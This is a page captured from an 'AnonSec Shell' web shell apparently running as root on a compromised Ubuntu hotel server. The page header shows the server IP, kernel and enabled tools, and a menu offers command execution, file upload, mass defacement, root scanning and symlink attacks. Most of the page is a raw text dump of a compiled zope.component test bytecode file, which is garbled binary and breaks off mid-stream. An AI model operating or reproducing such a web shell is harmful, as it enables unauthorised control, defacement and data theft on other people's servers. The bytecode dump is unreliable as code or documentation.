AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/tests/__pycache__/test__api.cpython-310.pyc
o

,�WX��@szdZddlZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd	d
�d
ej�ZGdd�dej�ZGd
d�dej�ZGdd�dej�Z	Gdd�dej�Z
Gdd�dej�ZGdd�dej�ZGdd�dej�Z
Gdd�dej�ZGdd�dej�ZGdd�dej�ZGdd �d ej�ZGd!d"�d"ej�ZGd#d$�d$ej�ZGd%d&�d&ej�ZGd'd(�d(ej�Zdad)d*�Zd+d,�ZdS)-z Tests for z.c._api
�Nc@�TeZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�ZdS)�Test_getSiteManagerr��setUp�tearDowncO�ddlm}||i|��S)Nr)�getSiteManager)�zope.component._apir)�self�args�kwr�r
�@/usr/lib/python3/dist-packages/zope/component/tests/test__api.py�_callFUT�zTest_getSiteManager._callFUTcCs(ddlm}|��}|�|�|��dS)Nr��IComponentLookup)�zope.component.interfacesrr�
assertTrue�
providedBy)r
r�smr
r
r�test_sm_is_IComponentLookupsz/Test_getSiteManager.test_sm_is_IComponentLookupcCs8ddlm}|��}|�||u�|�|��|u�dS)Nr)�base)�zope.component.globalregistryrrr)r
rrr
r
r�test_sm_is_singleton sz(Test_getSiteManager.test_sm_is_singletoncCs|�|�d�|��u�dS�N)rr�r
r
r
r�test_w_None&szTest_getSiteManager.test_w_NonecCs2ddlm}t�}||�}|�|�|�|u�dS)Nr��ConformsToIComponentLookup)�zope.component.tests.examplesr�objectrr)r
r�sitemanager�contextr
r
r�(test_getSiteManager_w_conforming_context)sz<Test_getSiteManager.test_getSiteManager_w_conforming_contextcCs"ddlm}|�||jt��dS)Nr��ComponentLookupError)rr&�assertRaisesrr!�r
r&r
r
r�0test_getSiteManager_w_invalid_context_no_adapter/szDTest_getSiteManager.test_getSiteManager_w_invalid_context_no_adaptercshddlm}ddlm}ddlm}|�}t���fdd�}|�||f|d�|�|�	t���u�dS)Nr��	Interface��getGlobalSiteManagerrcs�Srr
)�x�rr
r�_adapt9�zSTest_getSiteManager.test_getSiteManager_w_invalid_context_w_adapter.<locals>._adapt�)
�zope.interfacer+rr-rrr!�registerAdapterrr)r
r+r-r�gsmr0r
r/r�/test_getSiteManager_w_invalid_context_w_adapter3szCTest_getSiteManager.test_getSiteManager_w_invalid_context_w_adapterN)
�__name__�
__module__�__qualname__�zope.component.testingrrrrrrr$r)r6r
r
r
rrsrc@�4eZdZddlmZmZdd�Zdd�Zdd�Zd	S)
�Test_getAdapterInContextrrcOr)Nr)�getAdapterInContext)�zope.componentr=)r
rrr=r
r
rrCrz!Test_getAdapterInContext._callFUTcCsDddlm}ddlm}Gdd�d|�}|j||jt�|dd�dS)Nrr*r%c@�eZdZdS)z0Test_getAdapterInContext.test_miss.<locals>.IFooN�r7r8r9r
r
r
r�IFooJ�rA�r#�r3r+rr&r'rr!�r
r+r&rAr
r
r�	test_missGs
�z"Test_getAdapterInContext.test_misscCs*ddlm}ddlm}ddlm}ddlm}ddlm}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt	��}||�Gd
d�dt	��}	||�Gdd�dt	��}
Gdd�d|�}|�}|�
||f|d�|d|fd�}
|
�
|	|f|d�|
�}|j||||
�d�}|�|j
|	u�|�|j|u�dS)Nrr*��implementer��
Componentsr,rc@r?)z6Test_getAdapterInContext.test_hit_via_sm.<locals>.IFooNr@r
r
r
rrAUrBrAc@r?)z6Test_getAdapterInContext.test_hit_via_sm.<locals>.IBarNr@r
r
r
r�IBarWrBrKc@�eZdZdd�ZdS)z8Test_getAdapterInContext.test_hit_via_sm.<locals>.GlobalcS�
||_dSrrC�r
r#r
r
r�__init__[�
zATest_getAdapterInContext.test_hit_via_sm.<locals>.Global.__init__N�r7r8r9rOr
r
r
r�GlobalY�rRc@rL)z7Test_getAdapterInContext.test_hit_via_sm.<locals>.LocalcSrMrrCrNr
r
rrO_rPz@Test_getAdapterInContext.test_hit_via_sm.<locals>.Local.__init__NrQr
r
r
r�Local]rSrTc@r?)z5Test_getAdapterInContext.test_hit_via_sm.<locals>.BarNr@r
r
r
r�Bara�rUc@rL)z9Test_getAdapterInContext.test_hit_via_sm.<locals>.ContextcSrMr�r"�r
rr
r
rrOerPzBTest_getAdapterInContext.test_hit_via_sm.<locals>.Context.__init__NrQr
r
r
r�Contextd�rYr2�sm1��basesrC�r3r+rH�zope.interface.registryrJr>r-r rr!r4rr�	__class__r#�r
r+rHrJr-rrArKrRrTrUrYr5r[�bar�adaptedr
r
r�test_hit_via_smOs,z(Test_getAdapterInContext.test_hit_via_smN)	r7r8r9r:rrrrFrdr
r
r
rr<?s
r<c@�LeZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�ZdS)�Test_queryAdapterInContextrrcOr)Nr��queryAdapterInContext)r>rh)r
rrrhr
r
rrurz#Test_queryAdapterInContext._callFUTcCsDddlm}ddlm}Gdd�d|�}|�|t�|dd�d�dS)Nrr*rgc@r?)z2Test_queryAdapterInContext.test_miss.<locals>.IFooNr@r
r
r
rrA|rBrArC)r3r+r>rh�assertEqualr!)r
r+rhrAr
r
rrFys�z$Test_queryAdapterInContext.test_misscsbddlm}ddlm}Gdd�d|��t��G��fdd�dt�}|�||��dd��u�dS)	Nrr*rgc@r?)zATest_queryAdapterInContext.test_w_object_conforming.<locals>.IFooNr@r
r
r
rrA�rBrAc�eZdZd��fdd�	ZdS)z@Test_queryAdapterInContext.test_w_object_conforming.<locals>.FooNc�|�ur�S|Srr
�r
�iface�default�rA�_adaptedr
r�__conform__��zLTest_queryAdapterInContext.test_w_object_conforming.<locals>.Foo.__conform__r�r7r8r9rqr
ror
r�Foo��rtrC)r3r+r>rhr!r�r
r+rhrtr
ror�test_w_object_conforming�s�z3Test_queryAdapterInContext.test_w_object_conformingcs^ddlm}ddlm}Gdd�d|��t��G��fdd�dt�}|�||�dd�d�dS)	Nrr*rgc@r?)zTTest_queryAdapterInContext.test___conform___raises_TypeError_via_class.<locals>.IFooNr@r
r
r
rrA�rBrAcrj)zSTest_queryAdapterInContext.test___conform___raises_TypeError_via_class.<locals>.FooNcrkrr
rlror
rrq�rrz_Test_queryAdapterInContext.test___conform___raises_TypeError_via_class.<locals>.Foo.__conform__rrsr
ror
rrt�rurtrC)r3r+r>rhr!rirvr
ror�+test___conform___raises_TypeError_via_class�szFTest_queryAdapterInContext.test___conform___raises_TypeError_via_classcCsXddlm}ddlm}Gdd�d|�}t�}Gdd�dt�}|jt||�|dd�dS)	Nrr*rgc@r?)zSTest_queryAdapterInContext.test___conform___raises_TypeError_via_inst.<locals>.IFooNr@r
r
r
rrA�rBrAc@seZdZddd�ZdS)zRTest_queryAdapterInContext.test___conform___raises_TypeError_via_inst.<locals>.FooNcSst�r)�	TypeErrorrlr
r
rrq�r1z^Test_queryAdapterInContext.test___conform___raises_TypeError_via_inst.<locals>.Foo.__conform__rrsr
r
r
rrt�srtrC)r3r+r>rhr!r'ry)r
r+rhrArprtr
r
r�*test___conform___raises_TypeError_via_inst�s

�zETest_queryAdapterInContext.test___conform___raises_TypeError_via_instcCsnddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|�}|�|||dd	�|u�dS)
Nrr*rGrgc@r?)zCTest_queryAdapterInContext.test_w_object_implementing.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)zBTest_queryAdapterInContext.test_w_object_implementing.<locals>.FooNr@r
r
r
rrt�rVrtrC)r3r+rHr>rhr!r)r
r+rHrhrArt�foor
r
r�test_w_object_implementing�s�z5Test_queryAdapterInContext.test_w_object_implementingN)r7r8r9r:rrrrFrwrxrzr|r
r
r
rrfqsrfc@re)�Test_getAdapterrrcOr)Nr)�
getAdapter)r>r~)r
rrr~r
r
rr�rzTest_getAdapter._callFUTcC�Bddlm}ddlm}Gdd�d|�}|�||jt�|d�dS)Nrr*r%c@r?)z5Test_getAdapter.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrAr2rDrEr
r
r�test_anonymous_nonesuch���z'Test_getAdapter.test_anonymous_nonesuchcCr)Nrr*r%c@r?)z1Test_getAdapter.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrArbrDrEr
r
r�test_named_nonesuch�r�z#Test_getAdapter.test_named_nonesuchc
C�ddlm}ddlm}ddlm}Gdd�d|�}Gdd�d|�}||�Gd	d
�d
t��}||�Gdd�dt��}|��||f|d
�|�}|�||d
�}	|�|	j	|u�|�|	j
|u�dS)Nrr*rGr,c@r?)z0Test_getAdapter.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z0Test_getAdapter.test_anonymous_hit.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z/Test_getAdapter.test_anonymous_hit.<locals>.BarNr@r
r
r
rrU�rVrUc@rL)z/Test_getAdapter.test_anonymous_hit.<locals>.BazcSrMrrCrNr
r
rrO�rPz8Test_getAdapter.test_anonymous_hit.<locals>.Baz.__init__NrQr
r
r
r�Baz�rSr�r2�r3r+rHr>r-r!r4rrr`r#�
r
r+rHr-rArKrUr�rbrcr
r
r�test_anonymous_hit��z"Test_getAdapter.test_anonymous_hitcCs�ddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}|��|d	|d
�t�}|�||d
�}|�|j	|u�|�|j
|u�dS)Nrr*rGr,c@r?)zDTest_getAdapter.test_anonymous_hit_registered_for_None.<locals>.IFooNr@r
r
r
rrA�rBrAc@rL)zCTest_getAdapter.test_anonymous_hit_registered_for_None.<locals>.BazcSrMrrCrNr
r
rrO�rPzLTest_getAdapter.test_anonymous_hit_registered_for_None.<locals>.Baz.__init__NrQr
r
r
rr��rSr�rr2r�)r
r+rHr-rAr��ctxrcr
r
r�&test_anonymous_hit_registered_for_None�sz6Test_getAdapter.test_anonymous_hit_registered_for_Nonec
Cr�)Nrr*rGr,c@r?)z,Test_getAdapter.test_named_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z,Test_getAdapter.test_named_hit.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z+Test_getAdapter.test_named_hit.<locals>.BarNr@r
r
r
rrU�rVrUc@rL)z+Test_getAdapter.test_named_hit.<locals>.BazcSrMrrCrNr
r
rrOrPz4Test_getAdapter.test_named_hit.<locals>.Baz.__init__NrQr
r
r
rr��rSr��namedr�r�r
r
r�test_named_hit�r�zTest_getAdapter.test_named_hitN�r7r8r9r:rrrr�r�r�r�r�r
r
r
rr}�sr}c@re)�Test_queryAdapterrrcOr)Nr)�queryAdapter)r>r�)r
rrr�r
r
rrrzTest_queryAdapter._callFUTcCs:ddlm}Gdd�d|�}|�|�t�|dd�d�dS)Nrr*c@r?)z7Test_queryAdapter.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrArBrAr2�	<default>�r3r+rirr!�r
r+rAr
r
rr�s
�z)Test_queryAdapter.test_anonymous_nonesuchcCs8ddlm}Gdd�d|�}|�|�t�|d�d�dS)Nrr*c@r?)z3Test_queryAdapter.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrArBrArbr�r�r
r
rr�sz%Test_queryAdapter.test_named_nonesuchc
Cr�)Nrr*rGr,c@r?)z2Test_queryAdapter.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrA#rBrAc@r?)z2Test_queryAdapter.test_anonymous_hit.<locals>.IBarNr@r
r
r
rrK%rBrKc@r?)z1Test_queryAdapter.test_anonymous_hit.<locals>.BarNr@r
r
r
rrU'rVrUc@rL)z1Test_queryAdapter.test_anonymous_hit.<locals>.BazcSrMrrCrNr
r
rrO,rPz:Test_queryAdapter.test_anonymous_hit.<locals>.Baz.__init__NrQr
r
r
rr�*rSr�r2r�r�r
r
rr�r�z$Test_queryAdapter.test_anonymous_hitc
Cr�)Nrr*rGr,c@r?)z.Test_queryAdapter.test_named_hit.<locals>.IFooNr@r
r
r
rrA8rBrAc@r?)z.Test_queryAdapter.test_named_hit.<locals>.IBarNr@r
r
r
rrK:rBrKc@r?)z-Test_queryAdapter.test_named_hit.<locals>.BarNr@r
r
r
rrU<rVrUc@rL)z-Test_queryAdapter.test_named_hit.<locals>.BazcSrMrrCrNr
r
rrOArPz6Test_queryAdapter.test_named_hit.<locals>.Baz.__init__NrQr
r
r
rr�?rSr�r�r�r�r
r
rr�4r�z Test_queryAdapter.test_named_hitcCs,ddlm}ddlm}ddlm}ddlm}ddlm}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt	��}||�Gd
d�dt	��}	||�Gdd�dt	��}
Gdd�d|�}|�}|�
||f|d�|d|fd�}
|
�
|	|f|d�|
�}|j||d||
�d�}|�|j
|	u�|�|j|u�dS)Nrr*rGrIr,rc@r?)z+Test_queryAdapter.test_nested.<locals>.IFooNr@r
r
r
rrAOrBrAc@r?)z+Test_queryAdapter.test_nested.<locals>.IBarNr@r
r
r
rrKQrBrKc@rL)z-Test_queryAdapter.test_nested.<locals>.GlobalcSrMrrCrNr
r
rrOUrPz6Test_queryAdapter.test_nested.<locals>.Global.__init__NrQr
r
r
rrRSrSrRc@rL)z,Test_queryAdapter.test_nested.<locals>.LocalcSrMrrCrNr
r
rrOYrPz5Test_queryAdapter.test_nested.<locals>.Local.__init__NrQr
r
r
rrTWrSrTc@r?)z*Test_queryAdapter.test_nested.<locals>.BarNr@r
r
r
rrU[rVrUc@rL)z.Test_queryAdapter.test_nested.<locals>.ContextcSrMrrWrXr
r
rrO_rPz7Test_queryAdapter.test_nested.<locals>.Context.__init__NrQr
r
r
rrY^rZrYr2r[r\rCr^rar
r
r�test_nestedIs,zTest_queryAdapter.test_nestedN)r7r8r9r:rrrr�r�r�r�r�r
r
r
rr�
sr�c@re)�Test_getMultiAdapterrrcOr)Nr)�getMultiAdapter)r>r�)r
rrr�r
r
rrorzTest_getMultiAdapter._callFUTcC�Hddlm}ddlm}Gdd�d|�}|�||jt�t�f|d�dS)Nrr*r%c@r?)z:Test_getMultiAdapter.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrAvrBrAr2rDrEr
r
rr�s��z,Test_getMultiAdapter.test_anonymous_nonesuchcCr�)Nrr*r%c@r?)z6Test_getMultiAdapter.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrA~rBrArbrDrEr
r
rr�{r�z(Test_getMultiAdapter.test_named_nonesuchc
C�ddlm}ddlm}ddlm}Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt��}||�Gd
d�dt��}||�Gdd�dt��}	|��|	||f|d�|�}
|�}|�|
|f|d�}|�|j	|	u�|�|j
|
u�|�|j|u�dS)Nrr*rGr,c@r?)z5Test_getMultiAdapter.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z5Test_getMultiAdapter.test_anonymous_hit.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z5Test_getMultiAdapter.test_anonymous_hit.<locals>.IBazNr@r
r
r
r�IBaz�rBr�c@r?)z4Test_getMultiAdapter.test_anonymous_hit.<locals>.BarNr@r
r
r
rrU�rVrUc@r?)z4Test_getMultiAdapter.test_anonymous_hit.<locals>.BazNr@r
r
r
rr��rVr�c@rL)z;Test_getMultiAdapter.test_anonymous_hit.<locals>.FooAdaptercS�|||_|_dSr��first�second�r
r�r�r
r
rrO��zDTest_getMultiAdapter.test_anonymous_hit.<locals>.FooAdapter.__init__NrQr
r
r
r�
FooAdapter�rSr�r2�r3r+rHr>r-r!r4rrr`r�r��
r
r+rHr-rArKr�rUr�r�rb�bazrcr
r
rr���*�z'Test_getMultiAdapter.test_anonymous_hitcCs�ddlm}ddlm}ddlm}Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt��}||�Gd
d�dt��}|��||df|d�|�}	t�}
|�|	|
f|d�}|�|j	|u�|�|j
|	u�|�|j|
u�dS)Nrr*rGr,c@r?)zITest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)zITest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)zITest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.IBazNr@r
r
r
rr��rBr�c@r?)zHTest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.BarNr@r
r
r
rrU�rVrUc@rL)zOTest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.FooAdaptercSr�rr�r�r
r
rrO�r�zXTest_getMultiAdapter.test_anonymous_hit_registered_for_None.<locals>.FooAdapter.__init__NrQr
r
r
rr��rSr�r2r�)r
r+rHr-rArKr�rUr�rbr�rcr
r
rr��s&�z;Test_getMultiAdapter.test_anonymous_hit_registered_for_Nonec
Cr�)Nrr*rGr,c@r?)z1Test_getMultiAdapter.test_named_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z1Test_getMultiAdapter.test_named_hit.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z1Test_getMultiAdapter.test_named_hit.<locals>.IBazNr@r
r
r
rr��rBr�c@r?)z0Test_getMultiAdapter.test_named_hit.<locals>.BarNr@r
r
r
rrU�rVrUc@r?)z0Test_getMultiAdapter.test_named_hit.<locals>.BazNr@r
r
r
rr��rVr�c@rL)z7Test_getMultiAdapter.test_named_hit.<locals>.FooAdaptercSr�rr�r�r
r
rrO�r�z@Test_getMultiAdapter.test_named_hit.<locals>.FooAdapter.__init__NrQr
r
r
rr��rSr�r�r�r�r
r
rr��r�z#Test_getMultiAdapter.test_named_hitNr�r
r
r
rr�ksr�c@r)�Test_queryMultiAdapterrrcOr)Nr)�queryMultiAdapter)r>r�)r
rrr�r
r
rr�rzTest_queryMultiAdapter._callFUTcCs@ddlm}Gdd�d|�}|�|�t�t�f|dd�d�dS)Nrr*c@r?)z<Test_queryMultiAdapter.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrAr2r�r�r�r
r
rr��s��z.Test_queryMultiAdapter.test_anonymous_nonesuchcCs>ddlm}Gdd�d|�}|�|�t�t�f|d�d�dS)Nrr*c@r?)z8Test_queryMultiAdapter.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrArbr�r�r
r
rr��s
�z*Test_queryMultiAdapter.test_named_nonesuchc
Cr�)Nrr*rGr,c@r?)z7Test_queryMultiAdapter.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z7Test_queryMultiAdapter.test_anonymous_hit.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z7Test_queryMultiAdapter.test_anonymous_hit.<locals>.IBazNr@r
r
r
rr��rBr�c@r?)z6Test_queryMultiAdapter.test_anonymous_hit.<locals>.BarNr@r
r
r
rrU�rVrUc@r?)z6Test_queryMultiAdapter.test_anonymous_hit.<locals>.BazNr@r
r
r
rr��rVr�c@rL)z=Test_queryMultiAdapter.test_anonymous_hit.<locals>.FooAdaptercSr�rr�r�r
r
rrOr�zFTest_queryMultiAdapter.test_anonymous_hit.<locals>.FooAdapter.__init__NrQr
r
r
rr��rSr�r2r�r�r
r
rr��r�z)Test_queryMultiAdapter.test_anonymous_hitc
Cr�)Nrr*rGr,c@r?)z3Test_queryMultiAdapter.test_named_hit.<locals>.IFooNr@r
r
r
rrArBrAc@r?)z3Test_queryMultiAdapter.test_named_hit.<locals>.IBarNr@r
r
r
rrKrBrKc@r?)z3Test_queryMultiAdapter.test_named_hit.<locals>.IBazNr@r
r
r
rr�rBr�c@r?)z2Test_queryMultiAdapter.test_named_hit.<locals>.BarNr@r
r
r
rrUrVrUc@r?)z2Test_queryMultiAdapter.test_named_hit.<locals>.BazNr@r
r
r
rr�rVr�c@rL)z9Test_queryMultiAdapter.test_named_hit.<locals>.FooAdaptercSr�rr�r�r
r
rrOr�zBTest_queryMultiAdapter.test_named_hit.<locals>.FooAdapter.__init__NrQr
r
r
rr�rSr�r�r�r�r
r
rr�r�z%Test_queryMultiAdapter.test_named_hitcCsrddlm}ddlm}ddlm}ddlm}ddlm}Gdd�d|�}Gd	d
�d
|�}Gdd�d|�}||�Gd
d�dt	��}	||�Gdd�dt	��}
||�Gdd�dt	��}||�Gdd�dt	��}Gdd�d|�}
|�}|�
|||f|d�|d|fd�}|�
|||f|d�|	�}|
�}|j||f|d|
|�d�}|�|j
|u�|�|j|u�|�|j|u�dS)Nrr*rGrIr,rc@r?)z0Test_queryMultiAdapter.test_nested.<locals>.IFooNr@r
r
r
rrA/rBrAc@r?)z0Test_queryMultiAdapter.test_nested.<locals>.IBarNr@r
r
r
rrK1rBrKc@r?)z0Test_queryMultiAdapter.test_nested.<locals>.IBazNr@r
r
r
rr�3rBr�c@r?)z/Test_queryMultiAdapter.test_nested.<locals>.BarNr@r
r
r
rrU5rVrUc@r?)z/Test_queryMultiAdapter.test_nested.<locals>.BazNr@r
r
r
rr�8rVr�c@rL)z2Test_queryMultiAdapter.test_nested.<locals>.GlobalcSr�rr�r�r
r
rrO=r�z;Test_queryMultiAdapter.test_nested.<locals>.Global.__init__NrQr
r
r
rrR;rSrRc@rL)z1Test_queryMultiAdapter.test_nested.<locals>.LocalcSr�rr�r�r
r
rrOAr�z:Test_queryMultiAdapter.test_nested.<locals>.Local.__init__NrQr
r
r
rrT?rSrTc@rL)z3Test_queryMultiAdapter.test_nested.<locals>.ContextcSrMrrWrXr
r
rrODrPz<Test_queryMultiAdapter.test_nested.<locals>.Context.__init__NrQr
r
r
rrYCrZrYr2r[r\rC)r3r+rHr_rJr>r-r rr!r4rrr`r�r�)r
r+rHrJr-rrArKr�rUr�rRrTrYr5r[rbr�rcr
r
rr�)s6z"Test_queryMultiAdapter.test_nestedcs�ddlm}ddlm}ddlm�Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt��}||�Gd
d�dt��}G�fdd�dt�}|�}	|�}
|j|	|
f|d|�d�}|�|du�dS)Nrr*rGr%c@r?)z8Test_queryMultiAdapter.test_wo_sitemanager.<locals>.IFooNr@r
r
r
rrAUrBrAc@r?)z8Test_queryMultiAdapter.test_wo_sitemanager.<locals>.IBarNr@r
r
r
rrKWrBrKc@r?)z8Test_queryMultiAdapter.test_wo_sitemanager.<locals>.IBazNr@r
r
r
rr�YrBr�c@r?)z7Test_queryMultiAdapter.test_wo_sitemanager.<locals>.BarNr@r
r
r
rrU[rVrUc@r?)z7Test_queryMultiAdapter.test_wo_sitemanager.<locals>.BazNr@r
r
r
rr�^rVr�c�eZdZ�fdd�ZdS)z;Test_queryMultiAdapter.test_wo_sitemanager.<locals>.Contextc���rr
�r
rmr%r
rrqbr1zGTest_queryMultiAdapter.test_wo_sitemanager.<locals>.Context.__conform__Nrsr
r%r
rrYa�rYr2rC)r3r+rHrr&r!rr�r
r+rHrArKr�rUr�rYrbr�rcr
r%r�test_wo_sitemanagerQsz*Test_queryMultiAdapter.test_wo_sitemanagerN)
r7r8r9r:rrrr�r�r�r�r�r�r
r
r
rr��s(r�c@�<eZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dS)�Test_getAdaptersrrcOr)Nr)�getAdapters)r>r�)r
rrr�r
r
rrnrzTest_getAdapters._callFUTcCs<ddlm}Gdd�d|�}|�t|�t�f|��g�dS)Nrr*c@r?)z,Test_getAdapters.test_nonesuch.<locals>.IFooNr@r
r
r
rrAtrBrA)r3r+ri�listrr!r�r
r
r�
test_nonesuchrs zTest_getAdapters.test_nonesuchc	Cs�ddlm}ddlm}Gdd�d|�}Gdd�dt�}Gdd	�d	t�}|�}|�|d
|�|j|d
|dd�t|�t�f|��}|�t	|�d
�dd�|D�}|�
d|v�|�
d|v�dS)Nrr*r,c@r?)z'Test_getAdapters.test_hit.<locals>.IFooNr@r
r
r
rrA{rBrAc@rL)z-Test_getAdapters.test_hit.<locals>.BarAdaptercSrMrrCrNr
r
rrO~rPz6Test_getAdapters.test_hit.<locals>.BarAdapter.__init__NrQr
r
r
r�
BarAdapter}rZr�c@rL)z-Test_getAdapters.test_hit.<locals>.BazAdaptercSrMrrCrNr
r
rrO�rPz6Test_getAdapters.test_hit.<locals>.BazAdapter.__init__NrQr
r
r
r�
BazAdapter�rZr�rrb��name�cSsg|]
\}}||jjf�qSr
�r`r7)�.0r.�yr
r
r�
<listcomp>�sz-Test_getAdapters.test_hit.<locals>.<listcomp>)r2r�)rbr�)r3r+r>r-r!r4r�rri�lenr)	r
r+r-rAr�r�r5�tuples�namesr
r
r�test_hitxszTest_getAdapters.test_hitcs�ddlm}ddlm}ddlm�Gdd�d|�}Gdd�d|�}Gd	d
�d
|�}||�Gdd�dt��}||�Gd
d�dt��}G�fdd�dt�}|�}	|�}
|j|	|
f||�d�}|�|g�dS)Nrr*rGr%c@r?)z2Test_getAdapters.test_wo_sitemanager.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z2Test_getAdapters.test_wo_sitemanager.<locals>.IBarNr@r
r
r
rrK�rBrKc@r?)z2Test_getAdapters.test_wo_sitemanager.<locals>.IBazNr@r
r
r
rr��rBr�c@r?)z1Test_getAdapters.test_wo_sitemanager.<locals>.BarNr@r
r
r
rrU�rVrUc@r?)z1Test_getAdapters.test_wo_sitemanager.<locals>.BazNr@r
r
r
rr��rVr�cr�)z5Test_getAdapters.test_wo_sitemanager.<locals>.Contextcr�rr
r�r%r
rrq�r1zATest_getAdapters.test_wo_sitemanager.<locals>.Context.__conform__Nrsr
r%r
rrY�r�rYrC)r3r+rHrr&r!rrir�r
r%rr��sz$Test_getAdapters.test_wo_sitemanagerN�
r7r8r9r:rrrr�r�r�r
r
r
rr�jsr�c@r�)�Test_subscribersrrcOr)Nr)�subscribers)r>r�)r
rrr�r
r
rr�rzTest_subscribers._callFUTcCs:ddlm}Gdd�d|�}|�tf|�}|�|g�dS)Nrr*c@r?)z,Test_subscribers.test_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrA)r3r+rr!ri�r
r+rAr�r
r
rr��szTest_subscribers.test_nonesuchc	Cs�ddlm}ddlm}Gdd�d|�}Gdd�dt�}Gdd	�d	t�}|�}|�|d
|�|�|d
|�|�t�f|�}|�t|�d�dd
�|D�}|�	d|v�|�	d	|v�dS)Nrr*r,c@r?)z'Test_subscribers.test_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@rL)z-Test_subscribers.test_hit.<locals>.BarAdaptercSrMrrCrNr
r
rrO�rPz6Test_subscribers.test_hit.<locals>.BarAdapter.__init__NrQr
r
r
rr��rZr�c@rL)z-Test_subscribers.test_hit.<locals>.BazAdaptercSrMrrCrNr
r
rrO�rPz6Test_subscribers.test_hit.<locals>.BazAdapter.__init__NrQr
r
r
rr��rZr�rr�cSsg|]}|jj�qSr
r�)r�r.r
r
rr��sz-Test_subscribers.test_hit.<locals>.<listcomp>)
r3r+r>r-r!�registerSubscriptionAdapterrrir�r)	r
r+r-rAr�r�r5r�r�r
r
rr��szTest_subscribers.test_hitcs`ddlm}ddlm�Gdd�d|�}G�fdd�dt�}|jtf||�d�}|�|g�dS)	Nrr*r%c@r?)z2Test_subscribers.test_wo_sitemanager.<locals>.IFooNr@r
r
r
rrA�rBrAcr�)z5Test_subscribers.test_wo_sitemanager.<locals>.Contextcr�rr
r�r%r
rrq�r1zATest_subscribers.test_wo_sitemanager.<locals>.Context.__conform__Nrsr
r%r
rrY�r�rYrC)r3r+rr&r!rri)r
r+rArYr�r
r%rr��sz$Test_subscribers.test_wo_sitemanagerNr�r
r
r
rr��sr�c@r;)
�Test_handlerrcOr)Nr)�handle)r>r�)r
rrr�r
r
rr�rzTest_handle._callFUTcCs.ddlm}Gdd�d|�}|�tf|�}dS)Nrr*c@r?)z'Test_handle.test_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrA)r3r+rr!r�r
r
rr��szTest_handle.test_nonesuchc	s�ddlm}ddlm}ddlm}Gdd�d|�}||�Gdd�dt��}g��fd	d
�}�fdd�}|�}|�||f�|�||f�|�|��|�t	��d
��|�
d�v�|�
d�v�dS)Nrr,r*rGc@r?)z"Test_handle.test_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z!Test_handle.test_hit.<locals>.FooNr@r
r
r
rrt�rVrtc���d�dS)N�_bar��appendrC��_calledr
rr���z"Test_handle.test_hit.<locals>._barcr�)N�_bazr�rCr�r
rr��r�z"Test_handle.test_hit.<locals>._bazr�r�r�)r>r-r3r+rHr!�registerHandlerrrir�r)	r
r-r+rHrArtr�r�r5r
r�rr��s zTest_handle.test_hitN�	r7r8r9r:rrrr�r�r
r
r
rr���
r�c@re)�Test_getUtilityrrcOr)Nr)�
getUtility)r	r�)r
rrr�r
r
rr�rzTest_getUtility._callFUTcCs<ddlm}ddlm}Gdd�d|�}|�||j|�dS)Nrr*r%c@r?)z5Test_getUtility.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrArBrA�r3r+rr&r'rrEr
r
